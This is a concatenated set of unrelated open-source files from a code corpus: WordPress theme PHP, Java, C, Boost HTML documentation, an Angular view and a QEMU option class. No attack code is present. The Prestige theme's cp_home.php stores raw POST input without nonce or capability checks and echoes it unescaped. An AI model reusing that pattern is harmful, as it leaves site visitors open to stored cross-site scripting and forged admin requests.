self::assertSame('2 + 3 = 5', $asset->getContent()); } }
Chi-teck/drupal-code-generator
tests/dcg/Helper/RendererTest.php
PHP
gpl-2.0
2,567
<?php /********************************************************************** * PRESTIGE WORDPRESS EDITION * (Ideal For Business And Personal Use: Portfolio or Blog) * * File name: * cp_home.php * Brief: * Part of theme control panel. * Author: * DigitalCavalry * Author URI: * http://themeforest.net/user/DigitalCavalry * Contact: * digitalcavalry@gmail.com ***********************************************************************/ /*********************************************************** * Definitions ************************************************************/ /*********************************************************** * Class name: * CPHome * Descripton: * Implementation of CPHome ***********************************************************/ class CPHome extends DCC_CPBaseClass { const DBIDOPT_HOMEPAGE_OPT = 'PRESTIGE_HOMEPAGE_OPT'; // data base id options /*********************************************************** * Constructor ************************************************************/ public function __construct() { // temp $this->_home = get_option(CPHome::DBIDOPT_HOMEPAGE_OPT); if (!is_array($this->_home)) { add_option(CPHome::DBIDOPT_HOMEPAGE_OPT, $this->_homeDef); $this->_home = get_option(CPHome::DBIDOPT_HOMEPAGE_OPT); } } // constructor /*********************************************************** * Public members ************************************************************/ /*********************************************************** * Private members ************************************************************/ private $_home; private $_homeDef = Array( 'home_show_extra_content' => false, 'home_extra_content' => '', 'home_slogan' => 'Type here homepage slogan text', 'home_slogan_show' => true, 'home_slogan_author' => 'Slogan author', 'home_slogan_color' => '444444', 'home_slogan_author_color' => '333333', 'home_slogan_author_show' => true, 'home_sidebar' => true, 'home_page' => CMS_NOT_SELECTED, ); private $_saved = false; /*********************************************************** * Public functions ************************************************************/ public function renderTab() { echo '<div class="cms-content-wrapper">'; $this->process(); $this->renderCMS(); echo '</div>'; } public function renderExtraContent() { if($this->_home['home_show_extra_content']) { $out = ''; $out .= '<div class="page-extra-920">'; $out .= apply_filters('the_content', stripcslashes($this->_home['home_extra_content'])); $out .= '<div class="clear-both"></div></div>'; echo $out; } } public function getHomepageID() { return $this->_home['home_page']; } public function showHomepageSidebar() { return $this->_home['home_sidebar']; } public function renderHomepageSlogan() { $out = ''; if($this->_home['home_slogan_show']) { $out .= '<div id="homepage-slogan">'; $out .= '<span class="text" style="color:#'.$this->_home['home_slogan_color'].';">'.stripcslashes($this->_home['home_slogan']).'</span><br />'; if($this->_home['home_slogan_author_show']) { $out .= '<span class="author" style="color:#'.$this->_home['home_slogan_author_color'].';">'.stripcslashes($this->_home['home_slogan_author']).'</span>'; } $out .= '</div>'; } else { $out .= '<div id="homepage-slogan-empty"></div>'; } echo $out; } /*********************************************************** * Private functions ************************************************************/ private function process() { if(isset($_POST['home_save_settings'])) { $this->_home['home_slogan'] = $_POST['home_slogan']; $this->_home['home_slogan_show'] = isset($_POST['home_slogan_show']) ? true : false; $this->_home['home_slogan_author'] = $_POST['home_slogan_author']; $this->_home['home_slogan_author_show'] = isset($_POST['home_slogan_author_show']) ? true : false; $this->_home['home_sidebar'] = isset($_POST['home_sidebar']) ? true : false; $this->_home['home_page'] = $_POST['home_page']; $this->_home['home_slogan_color'] = $_POST['home_slogan_color']; $this->_home['home_slogan_author_color'] = $_POST['home_slogan_author_color']; update_option(CPHome::DBIDOPT_HOMEPAGE_OPT, $this->_home); $this->_saved = true; } if(isset($_POST['home_save_extra_content'])) { $this->_home['home_extra_content'] = $_POST['home_extra_content']; $this->_home['home_show_extra_content'] = isset($_POST['home_show_extra_content']) ? true : false; update_option(CPHome::DBIDOPT_HOMEPAGE_OPT, $this->_home); $this->_saved = true; } } private function renderCMS() { if($this->_saved) { echo '<span class="cms-saved-bar">Settings saved</span><br /><br />'; } // Homepage slogan $out = ''; $out .= '<div>'; $out .= '<h6 class="cms-h6">Homepage settings</h6><hr class="cms-hr"/>'; $out .= '<form action="#" method="post" >'; $out .= '<span class="cms-span-10">Homepage slogan text:</span><br /><textarea style="font-size:11px;padding:8px;color:#444444;width:500px;max-width:500px;height:50px;" name="home_slogan">'.stripcslashes($this->_home['home_slogan']).'</textarea><br />'; $out .= '<input type="checkbox" style="margin-bottom:5px;" '.$this->attrChecked($this->_home['home_slogan_show']).' name="home_slogan_show" /> Show slogan<br />'; $out .= '<input style="width:70px;text-align:center;" type="text" class="colorpicker {hash:true}" value="'.$this->_home['home_slogan_color'].'" name="home_slogan_color" /> Slogan color <br /><br />'; $out .= '<span class="cms-span-10">Homepage slogan author description:</span><br /><textarea style="font-size:11px;padding:8px;color:#444444;width:500px;max-width:500px;height:50px;" name="home_slogan_author">'.stripcslashes($this->_home['home_slogan_author']).'</textarea><br />'; $out .= '<input type="checkbox" '.$this->attrChecked($this->_home['home_slogan_author_show']).' name="home_slogan_author_show" /> Show author<br />'; $out .= '<input style="width:70px;text-align:center;" type="text" class="colorpicker {hash:true}" value="'.$this->_home['home_slogan_author_color'].'" name="home_slogan_author_color" /> Slogan author color <br /><br />'; $out .= '<div style="height:20px;"></div>'; $out .= '<span class="cms-span-10">Select page displayed as homepage:</span><br />'; $out .= $this->selectCtrlPagesList($this->_home['home_page'], 'home_page', 240); $out .= '<br /><br /><input type="checkbox" '.$this->attrChecked($this->_home['home_sidebar']).' name="home_sidebar" /> Display homepage sidebar'; $out .= '<div style="height:20px;"></div>'; $out .= '<input class="cms-submit" type="submit" value="Save" name="home_save_settings" /><br />'; $out .= '</form></div>'; echo $out; // Homepage extra content $out = ''; $out .= '<a name="homepage_extra_content"></a>'; $out .= '<div style="margin-top:50px;">'; $out .= '<h6 class="cms-h6">Homepage extra content</h6><hr class="cms-hr"/>'; $out .= '<form action="#homepage_extra_content" method="post" >'; $out .= '<span class="cms-span-10">Homepage extra full width content:</span><br /><textarea style="font-size:11px;padding:8px;color:#444444;width:800px;max-width:800px;height:650px;" name="home_extra_content">'.stripcslashes($this->_home['home_extra_content']).'</textarea><br />'; $out .= '<input type="checkbox" '.$this->attrChecked($this->_home['home_show_extra_content']).' name="home_show_extra_content" /> Show homepage extra content'; $out .= '<div style="height:20px;"></div>'; $out .= '<input class="cms-submit" type="submit" value="Save" name="home_save_extra_content" />'; $out .= '</form></div>'; echo $out; } } // class CPHome ?>
How2ForFree/development
wp-content/themes/PrestigeDarkVol1_v1.4/PrestigeDarkVol1/cms/php/cp_home.php
PHP
gpl-2.0
9,311
<?php /** * Lollum * * The template for displaying the post block * * @package WordPress * @subpackage Lollum Themes * @author Lollum <support@lollum.com> * */ if ( ! function_exists( 'lolfmk_print_post' ) ) { function lolfmk_print_post( $item ) { $header_text = lolfmk_find_xml_value( $item, 'header-text' ); $post_id = lolfmk_find_xml_value( $item, 'post-id' ); ?> <?php if ( $header_text != '' ) : ?> <div class="divider"><h3><?php echo esc_html( $header_text ); ?></h3></div> <?php endif; ?> <?php $args = array( 'p' => $post_id ); $post_query = new WP_Query( $args ); while( $post_query->have_posts() ) : $post_query->the_post(); ?> <div class="post-item"> <div class="post-border"> <?php if ( has_post_thumbnail() ) : ?> <a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"> <div class="post-thumb"> <?php the_post_thumbnail( 'featured-thumb' ); ?> </div> </a> <?php endif; ?> <!--<h3><a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a></h3>--> <h3><?php the_title(); ?></h3> <!-- FIX : Disable by Tittee --> <!--<div class="meta-wrap"> <a href="<?php //the_permalink(); ?>" title="<?php //printf(esc_attr__('Permalink to %s', 'lollum'), the_title_attribute('echo=0')); ?>" rel="bookmark"><?php //the_time( 'F j, Y' ); ?></a> </div>--> <?php /* $categories_list = get_the_category_list( ', ' ); if ( $categories_list ) : ?> <div class="meta-wrap"><?php echo $categories_list; ?></div> <?php endif; */ ?> <?php the_excerpt(); ?> <?php //echo apply_filters( 'lol_more_post_blocks_filter', '<a href="' . get_permalink() . '" title="' . the_title_attribute( array('echo' => 0) ) . '" class="more-link">' . __( 'More', 'lollum' ). '</a>' ); ?> </div> </div> <?php endwhile; wp_reset_postdata(); } }
tittee/pornpan
wp-content/themes/nantes/builder/blocks/block-post.php
PHP
gpl-2.0
1,990
package dynamicJoin; import java.io.IOException; import java.io.StringReader; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; import java.util.logging.Logger; import org.xml.sax.Attributes; import org.xml.sax.EntityResolver; import org.xml.sax.InputSource; import org.xml.sax.SAXException; import org.xml.sax.XMLReader; import org.xml.sax.helpers.DefaultHandler; import org.xml.sax.helpers.XMLReaderFactory; class MapperInfo { String tableName; String aliasTabla; String select; private boolean resulMapJoinsExists = false; private Object entidad; Map<String, Relation> joins = new HashMap<>(); private static final Logger log = Logger.getLogger( MapperInfo.class.getName() ); private static ConcurrentHashMap<String, MapperInfo> cache = new ConcurrentHashMap<>(); public static <E> MapperInfo getMapperInfo(Object entidad) throws Exception { String nomEntid = entidad.getClass().getSimpleName(); if (cache.containsKey(nomEntid)) return cache.get(nomEntid); else { MapperInfo info = new MapperInfo(); info.entidad = entidad; info.parseMapper(entidad); if (info.tableName == null) throw new JoinException("No sql TableName defined in mapper", entidad.getClass()); if (!info.resulMapJoinsExists) log.info("No resultMap for joins defined in mapper "+ entidad.getClass().getName()); if (info.aliasTabla == null) info.aliasTabla = info.tableName; cache.put(nomEntid, info); return info; } } private void parseMapper(Object entidad) throws SAXException, IOException { XMLReader reader = XMLReaderFactory.createXMLReader(); reader.setEntityResolver(new DummyEntityResolver()); reader.setContentHandler(new CustomHandler()); reader.parse(new InputSource(entidad.getClass().getClassLoader() .getResourceAsStream("mybatis\\mappers\\" + entidad.getClass().getSimpleName() + "Mapper.xml"))); } private class CustomHandler extends DefaultHandler { boolean inResultMap = false; boolean inBaseColumn = false; boolean inTableName = false; boolean inAliasTable = false; public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException { if (qName.equalsIgnoreCase("resultMap")) { if (attributes.getValue("id").contains("Joins")) { resulMapJoinsExists = true; inResultMap = true; } else { inResultMap = false; } } if (qName.equalsIgnoreCase("sql") && attributes.getValue("id").equalsIgnoreCase("Base_Column_List")) { inBaseColumn = true; } if (qName.equalsIgnoreCase("sql") && attributes.getValue("id").equalsIgnoreCase("TableName")) { inTableName = true; } if (qName.equalsIgnoreCase("sql") && attributes.getValue("id").equalsIgnoreCase("AliasTable")) { inAliasTable = true; } if (inResultMap && (qName.equalsIgnoreCase("association") || qName.equalsIgnoreCase("collection"))) { boolean fieldAnotated = false; Relation rel = new Relation(); for (Field field : entidad.getClass().getDeclaredFields()) { if (field.getName().equals(attributes.getValue("property")) && field.getAnnotation(JoinableField.class) != null) { fieldAnotated = true; rel.foreignColumn = field.getAnnotation(JoinableField.class).foreignColumn(); rel.ownColumn = field.getAnnotation(JoinableField.class).ownColumn(); break; } } if (!fieldAnotated) { log.info( "The relationship " + attributes.getValue("property") + " for entity " + entidad.getClass().getSimpleName() + " isn't annotated with JoinableField. Ignoring relationship for dynamic join"); return; } validateAttributes(attributes, qName); if (qName.equalsIgnoreCase("collection")) rel.clazz = attributes.getValue("ofType"); else rel.clazz = attributes.getValue("javaType"); rel.ownPrefix = attributes.getValue("columnPrefix"); joins.put(attributes.getValue("property"), rel); } } private void validateAttributes(Attributes attributes, String tipoRelacion) { if (tipoRelacion.equalsIgnoreCase("collection") && attributes.getValue("ofType") == null) throw new JoinException("No type defined por relationship " + attributes.getValue("property") + " at resultmap", entidad.getClass()); if (tipoRelacion.equalsIgnoreCase("association") && attributes.getValue("javaType") == null) throw new JoinException("No type defined por relationship " + attributes.getValue("property") + " at resultmap", entidad.getClass()); if (attributes.getValue("columnPrefix") == null) throw new JoinException("No columnPrefix defined por relationship " + attributes.getValue("property") + " at resultmap", entidad.getClass()); } public void endElement(String uri, String localName, String qName) throws SAXException { if (qName.equalsIgnoreCase("resultMap")) { inResultMap = false; } } public void characters(char ch[], int start, int length) throws SAXException { if (inBaseColumn) { select = new String(ch, start, length).trim(); inBaseColumn = false; } if (inTableName) { tableName = new String(ch, start, length).trim(); inTableName = false; } if (inAliasTable) { aliasTabla = new String(ch, start, length).trim(); inAliasTable = false; } } } /** * Dymmy class for avoiding resolvig dtd * * @author ggefaell */ private class DummyEntityResolver implements EntityResolver { public InputSource resolveEntity(String publicID, String systemID) throws SAXException { return new InputSource(new StringReader("")); } } public String getTableName() { return tableName; } public void setTableName(String tableName) { this.tableName = tableName; } }
konum/mybatis-dynamicJoin
src/main/java/dynamicJoin/MapperInfo.java
Java
gpl-2.0
5,792
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <imprec@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\DICOM; use PHPExiftool\Driver\AbstractTag; class ControlPointRelativePosition extends AbstractTag { protected $Id = '300A,02D2'; protected $Name = 'ControlPointRelativePosition'; protected $FullName = 'DICOM::Main'; protected $GroupName = 'DICOM'; protected $g0 = 'DICOM'; protected $g1 = 'DICOM'; protected $g2 = 'Image'; protected $Type = '?'; protected $Writable = false; protected $Description = 'Control Point Relative Position'; }
Droces/casabio
vendor/phpexiftool/phpexiftool/lib/PHPExiftool/Driver/Tag/DICOM/ControlPointRelativePosition.php
PHP
gpl-2.0
754
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=US-ASCII"> <title>Macro BOOST_VMD_IS_VMD_TUPLE</title> <link rel="stylesheet" href="../../../../doc/src/boostbook.css" type="text/css"> <meta name="generator" content="DocBook XSL Stylesheets V1.79.1"> <link rel="home" href="index.html" title="Chapter&#160;1.&#160;The Variadic Macro Data Library 1.9"> <link rel="up" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html" title="Header &lt;boost/vmd/tuple/is_vmd_tuple.hpp&gt;"> <link rel="prev" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html" title="Header &lt;boost/vmd/tuple/is_vmd_tuple.hpp&gt;"> <link rel="next" href="variadic_macro_data/vmd_design.html" title="Design"> </head> <body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"> <table cellpadding="2" width="100%"><tr> <td valign="top"><img alt="Boost C++ Libraries" width="277" height="86" src="../../../../boost.png"></td> <td align="center"><a href="../../../../index.html">Home</a></td> <td align="center"><a href="../../../../libs/libraries.htm">Libraries</a></td> <td align="center"><a href="http://www.boost.org/users/people.html">People</a></td> <td align="center"><a href="http://www.boost.org/users/faq.html">FAQ</a></td> <td align="center"><a href="../../../../more/index.htm">More</a></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html"><img src="../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html"><img src="../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="index.html"><img src="../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="variadic_macro_data/vmd_design.html"><img src="../../../../doc/src/images/next.png" alt="Next"></a> </div> <div class="refentry"> <a name="BOOST_VMD_IS_VMD_TUPLE"></a><div class="titlepage"></div> <div class="refnamediv"> <h2><span class="refentrytitle">Macro BOOST_VMD_IS_VMD_TUPLE</span></h2> <p>BOOST_VMD_IS_VMD_TUPLE &#8212; Determines if a sequence is a VMD tuple. </p> </div> <h2 xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv-title">Synopsis</h2> <div xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" class="refsynopsisdiv"><pre class="synopsis"><span class="comment">// In header: &lt;<a class="link" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html" title="Header &lt;boost/vmd/tuple/is_vmd_tuple.hpp&gt;">boost/vmd/tuple/is_vmd_tuple.hpp</a>&gt; </span>BOOST_VMD_IS_VMD_TUPLE(sequence)</pre></div> <div class="refsect1"> <a name="idm46213346779280"></a><h2>Description</h2> <p>The macro checks that the sequence is a VMD tuple. A VMD tuple, which may be a Boost PP tuple or emptiness, is a superset of a Boost PP tuple. It returns 1 if it is a VMD tuple, else if returns 0.</p> <p>sequence = a possible Boost PP tuple</p> <p>returns = 1 if it a VMD tuple, else returns 0. </p> </div> </div> <table xmlns:rev="http://www.cs.rpi.edu/~gregod/boost/tools/doc/revision" width="100%"><tr> <td align="left"></td> <td align="right"><div class="copyright-footer">Copyright &#169; 2010-2015 Tropic Software East Inc</div></td> </tr></table> <hr> <div class="spirit-nav"> <a accesskey="p" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html"><img src="../../../../doc/src/images/prev.png" alt="Prev"></a><a accesskey="u" href="header/boost/vmd/tuple/is_vmd_tuple_hpp.html"><img src="../../../../doc/src/images/up.png" alt="Up"></a><a accesskey="h" href="index.html"><img src="../../../../doc/src/images/home.png" alt="Home"></a><a accesskey="n" href="variadic_macro_data/vmd_design.html"><img src="../../../../doc/src/images/next.png" alt="Next"></a> </div> </body> </html>
FFMG/myoddweb.piger
myodd/boost/libs/vmd/doc/html/BOOST_VMD_IS_VMD_TUPLE.html
HTML
gpl-2.0
3,775
/* Copyright (C) 2001 Tensilica, Inc. All Rights Reserved. Revised to support Tensilica processors and to improve overall performance */ /* Copyright (C) 2000 Silicon Graphics, Inc. All Rights Reserved. This program is free software; you can redistribute it and/or modify it under the terms of version 2.1 of the GNU Lesser General Public License as published by the Free Software Foundation. This program is distributed in the hope that it would be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. Further, this software is distributed without any warranty that it is free of the rightful claim of any third person regarding infringement or the like. Any license provided herein, whether implied or otherwise, applies only to this software file. Patent licenses, if any, provided herein do not apply to combinations of this program with other software, or any other product whatsoever. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, USA. Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pky, Mountain View, CA 94043, or: http://www.sgi.com For further information regarding this notice, see: http://oss.sgi.com/projects/GenInfo/NoticeExplan */ #pragma ident "@(#) libu/ffio/ccaweod.c 92.1 06/29/99 13:16:47" #include <stdio.h> #include <errno.h> #include <ffio.h> #include "ccaio.h" /* * Write an EOD to a cache file. * * Truncate this layer at the current position. */ int _cca_weod( struct fdinfo *fio, struct ffsw *stat ) { int nbu, i; off_t fsize; int bs; struct cca_buf *cbufs; struct cca_f *cca_info; struct fdinfo *llfio; off_t filead; int ret; off_t well_formed_fsize; cca_info = (struct cca_f *)fio->lyr_info; llfio = fio->fioptr; if ( CCA_SOFT_BYPASS ) return ( XRCALL(llfio,weodrtn) llfio, stat) ); if ( cca_info->optflags.no_write ) ERETURN(stat, EBADF, 0); if (cca_info->is_blkspec) ERETURN(stat, FDC_ERR_NOSUP, 0); cca_info->fsize = cca_info->cpos; fio->rwflag = WRITIN; fio->ateof = 0; fio->ateod = 1; fio->recbits = 0; /* * Fix up any cache page buffers for file pages which lie past the new EOD. */ nbu = cca_info->nbufs; bs = cca_info->bsize; cbufs = cca_info->bufs; fsize = cca_info->fsize; for (i=0; i<nbu; i++) { if ( cbufs[i].file_page.parts.file_number != cca_info->file_number ) continue; filead = (cbufs[i].file_page.parts.page_number) * (cca_info->byte_per_pg)*8; if (filead >= 0) { /* If page is past EOD then mark it free */ if (filead >= fsize) { ret = _cca_clear_page(cca_info, &cbufs[i], stat); if ( ret == ERR ) return( ERR ); } /* If page straddles EOD then zero out part of it */ else if (filead < fsize && filead + bs > fsize) { int valid_bytes = BITS2BYTES(fsize - filead); #ifdef SDS_SUPPORTED if (cca_info->optflags.sds) { int sds_offset; int res; sds_offset = BPTR2CP(cbufs[i].buf) - (char *)NULL; res = _sdsset_any( sds_offset + valid_bytes, 0, BITS2BYTES(bs) - valid_bytes); if (res == -1) { ERETURN(stat, errno, 0); } } else #endif { (void)memset( BPTR2CP(cbufs[i].buf) + valid_bytes, 0, BITS2BYTES(bs) - valid_bytes); } } } } /* * Truncate the underlying layer at the same location. For most layers, * this ensures that data past this EOD becomes zero if the underlying file * is later extended such that a hole is left between the this EOD * and the data written later. */ well_formed_fsize = (fsize+cca_info->bits_per_sect-1) & (~(cca_info->bits_per_sect-1)); if (well_formed_fsize < cca_info->feof) { if (XRCALL(llfio,seekrtn) llfio, BITS2BYTES(well_formed_fsize), SEEK_SET, stat) == ERR) return(ERR); if (XRCALL(llfio,weodrtn) llfio, stat) == ERR) return(ERR); cca_info->feof = well_formed_fsize; } SETSTAT(stat, FFEOD, 0); return(0); }
qiyao/xcc
libu/ffio/ccaweod.c
C
gpl-2.0
4,549
<style type = 'text/css'> #insights-top-container{ margin-top:50px; width:50%; margin-left:25%; } </style> <div id = 'insights-top-container' class = 'centered'> <h1>Insights</h1> <input type = 'text' class = 'form-control centered' placeholder = 'Enter golink for insights' ng-model = 'searchTerm' ng-keyup="$event.keyCode == 13 && getClicks(searchTerm)"></input> <div class = 'text-muted' ng-hide = 'clicks==null'>Data from the last 1000 clicks</div> </div> <div class = 'row' ng-hide = 'clicks == null'> <div class = 'col-md-6' > <h2>Raw clicks</h2> <div ng-repeat = 'click in clicks'>{{click.email}}:{{click.time}}:{{click.timestamp}}</div> </div> <div class = 'col-md-6'> <h2>Aggregate metrics</h2> <div ng-repeat = 'click in aggregatedClicks | orderBy:"-num_clicks"'>{{click.email}}:{{click.num_clicks}}</div> </div> </div>
davidbliu/pbl-wiki
ngApp/views/insights.html
HTML
gpl-2.0
848
<?php /** * Title : Aqua Resizer * Description : Resizes WordPress images on the fly * Version : 1.2.0 * Author : Syamil MJ * Author URI : http://aquagraphite.com * License : WTFPL - http://sam.zoy.org/wtfpl/ * Documentation : https://github.com/sy4mil/Aqua-Resizer/ * * @param string $url - (required) must be uploaded using wp media uploader * @param int $width - (required) * @param int $height - (optional) * @param bool $crop - (optional) default to soft crop * @param bool $single - (optional) returns an array if false * @param bool $upscale - (optional) resizes smaller images * @uses wp_upload_dir() * @uses image_resize_dimensions() * @uses wp_get_image_editor() * * @return str|array */ if(!class_exists('Aq_Resize')) { class Aq_Resize { /** * The singleton instance */ static private $instance = null; /** * No initialization allowed */ private function __construct() {} /** * No cloning allowed */ private function __clone() {} /** * For your custom default usage you may want to initialize an Aq_Resize object by yourself and then have own defaults */ static public function getInstance() { if(self::$instance == null) { self::$instance = new self; } return self::$instance; } /** * Run, forest. */ public function process( $url, $width = null, $height = null, $crop = null, $single = true, $upscale = false ) { // Validate inputs. if ( ! $url || ( ! $width && ! $height ) ) return false; // Caipt'n, ready to hook. if ( true === $upscale ) add_filter( 'image_resize_dimensions', array($this, 'aq_upscale'), 10, 6 ); // Define upload path & dir. $upload_info = wp_upload_dir(); $upload_dir = $upload_info['basedir']; $upload_url = $upload_info['baseurl']; $http_prefix = "http://"; $https_prefix = "https://"; /* if the $url scheme differs from $upload_url scheme, make them match if the schemes differe, images don't show up. */ if(!strncmp($url,$https_prefix,strlen($https_prefix))){ //if url begins with https:// make $upload_url begin with https:// as well $upload_url = str_replace($http_prefix,$https_prefix,$upload_url); } elseif(!strncmp($url,$http_prefix,strlen($http_prefix))){ //if url begins with http:// make $upload_url begin with http:// as well $upload_url = str_replace($https_prefix,$http_prefix,$upload_url); } // Check if $img_url is local. if ( false === strpos( $url, $upload_url ) ) return false; // Define path of image. $rel_path = str_replace( $upload_url, '', $url ); $img_path = $upload_dir . $rel_path; // Check if img path exists, and is an image indeed. if ( ! file_exists( $img_path ) or ! getimagesize( $img_path ) ) return false; // Get image info. $info = pathinfo( $img_path ); $ext = $info['extension']; list( $orig_w, $orig_h ) = getimagesize( $img_path ); // Get image size after cropping. $dims = image_resize_dimensions( $orig_w, $orig_h, $width, $height, $crop ); $dst_w = $dims[4]; $dst_h = $dims[5]; // Return the original image only if it exactly fits the needed measures. if ( ! $dims && ( ( ( null === $height && $orig_w == $width ) xor ( null === $width && $orig_h == $height ) ) xor ( $height == $orig_h && $width == $orig_w ) ) ) { $img_url = $url; $dst_w = $orig_w; $dst_h = $orig_h; } else { // Use this to check if cropped image already exists, so we can return that instead. $suffix = "{$dst_w}x{$dst_h}"; $dst_rel_path = str_replace( '.' . $ext, '', $rel_path ); $destfilename = "{$upload_dir}{$dst_rel_path}-{$suffix}.{$ext}"; if ( ! $dims || ( true == $crop && false == $upscale && ( $dst_w < $width || $dst_h < $height ) ) ) { // Can't resize, so return false saying that the action to do could not be processed as planned. return false; } // Else check if cache exists. elseif ( file_exists( $destfilename ) && getimagesize( $destfilename ) ) { $img_url = "{$upload_url}{$dst_rel_path}-{$suffix}.{$ext}"; } // Else, we resize the image and return the new resized image url. else { $editor = wp_get_image_editor( $img_path ); if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) ) return false; $resized_file = $editor->save(); if ( ! is_wp_error( $resized_file ) ) { $resized_rel_path = str_replace( $upload_dir, '', $resized_file['path'] ); $img_url = $upload_url . $resized_rel_path; } else { return false; } } } // Okay, leave the ship. if ( true === $upscale ) remove_filter( 'image_resize_dimensions', array( $this, 'aq_upscale' ) ); // Return the output. if ( $single ) { // str return. $image = $img_url; } else { // array return. $image = array ( 0 => $img_url, 1 => $dst_w, 2 => $dst_h ); } return $image; } /** * Callback to overwrite WP computing of thumbnail measures */ function aq_upscale( $default, $orig_w, $orig_h, $dest_w, $dest_h, $crop ) { if ( ! $crop ) return null; // Let the wordpress default function handle this. // Here is the point we allow to use larger image size than the original one. $aspect_ratio = $orig_w / $orig_h; $new_w = $dest_w; $new_h = $dest_h; if ( ! $new_w ) { $new_w = intval( $new_h * $aspect_ratio ); } if ( ! $new_h ) { $new_h = intval( $new_w / $aspect_ratio ); } $size_ratio = max( $new_w / $orig_w, $new_h / $orig_h ); $crop_w = round( $new_w / $size_ratio ); $crop_h = round( $new_h / $size_ratio ); $s_x = floor( ( $orig_w - $crop_w ) / 2 ); $s_y = floor( ( $orig_h - $crop_h ) / 2 ); return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h ); } } } if(!function_exists('aq_resize')) { /** * This is just a tiny wrapper function for the class above so that there is no * need to change any code in your own WP themes. Usage is still the same :) */ function aq_resize( $url, $width = null, $height = null, $crop = null, $single = true, $upscale = false ) { $aq_resize = Aq_Resize::getInstance(); return $aq_resize->process( $url, $width, $height, $crop, $single, $upscale ); } }
dannychan4277/teak
wp-content/plugins/gt3-pagebuilder-custom/core/aq_resizer.php
PHP
gpl-2.0
7,654
<?php /** * The template for displaying all pages. * * This is the template that displays all pages by default. * Please note that this is the wordpress construct of pages * and that other 'pages' on your wordpress site will use a * different template. * * @package WordPress * @subpackage Twenty_Ten * @since Twenty Ten 1.0 */ get_header(); ?> <div id="container"> <div id="content" role="main"> <?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?> <div id="post-<?php the_ID(); ?>" <?php post_class(); ?>> <?php if ( is_front_page() ) { ?> <h2 class="entry-title"><?php the_title(); ?></h2> <?php } else { ?> <h1 class="entry-title"><?php the_title(); ?></h1> <?php } ?> <div class="entry-content"> <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '<div class="page-link">' . __( 'Pages:', 'modern_green_theme' ), 'after' => '</div>' ) ); ?> <?php edit_post_link( __( 'Edit', 'modern_green_theme' ), '<span class="edit-link">', '</span>' ); ?> </div><!-- .entry-content --> </div><!-- #post-## --> <?php comments_template( '', true ); ?> <?php endwhile; ?> </div><!-- #content --> </div><!-- #container --> <?php get_sidebar(); ?> <?php get_footer(); ?>
hrsalazar/WP_ADNVerde
wp-content/themes/modern-green-theme/page.php
PHP
gpl-2.0
1,286
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package org.anarres.qemu.exec; import java.io.File; import java.util.List; import javax.annotation.Nonnegative; import javax.annotation.Nonnull; /** * * @author shevek */ public class QEmuMemoryOption extends AbstractQEmuOption { // TODO -> Generic package where it can be used for file sizes, etc. public static enum Magnitude { UNIT(1L), KILO(1024L), MEGA(KILO, 1024L), GIGA(MEGA, 1024L), TERA(GIGA, 1024L), PETA(TERA, 1024L); private final long multiplier; Magnitude(@Nonnegative long multiplier) { this.multiplier = multiplier; } Magnitude(@Nonnull Magnitude reference, @Nonnegative long multiplier) { this.multiplier = reference.multiplier * multiplier; } public long toUnit(long amount) { return multiplier * amount; } } // private final String host; private final long size; private File path; private boolean prealloc; public QEmuMemoryOption(long size, @Nonnull Magnitude magnitude) { this.size = magnitude.toUnit(size) / Magnitude.MEGA.multiplier; } @Nonnull public QEmuMemoryOption withPath(File path) { this.path = path; return this; } @Nonnull public QEmuMemoryOption withPrealloc(boolean prealloc) { this.prealloc = prealloc; return this; } @Override public void appendTo(List<? super String> line) { add(line, "-m", String.valueOf(size)); if (path != null) add(line, "-mem-path", path.getAbsolutePath()); if (prealloc) add(line, "-mem-prealloc"); } }
shevek/qemu-java
qemu-exec/src/main/java/org/anarres/qemu/exec/QEmuMemoryOption.java
Java
gpl-2.0
1,780
/* * The ManaPlus Client * Copyright (C) 2004-2009 The Mana World Development Team * Copyright (C) 2009-2010 The Mana Developers * Copyright (C) 2011-2018 The ManaPlus Developers * * This file is part of The ManaPlus Client. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* _______ __ __ __ ______ __ __ _______ __ __ * / _____/\ / /\ / /\ / /\ / ____/\ / /\ / /\ / ___ /\ / |\/ /\ * / /\____\// / // / // / // /\___\// /_// / // /\_/ / // , |/ / / * / / /__ / / // / // / // / / / ___ / // ___ / // /| ' / / 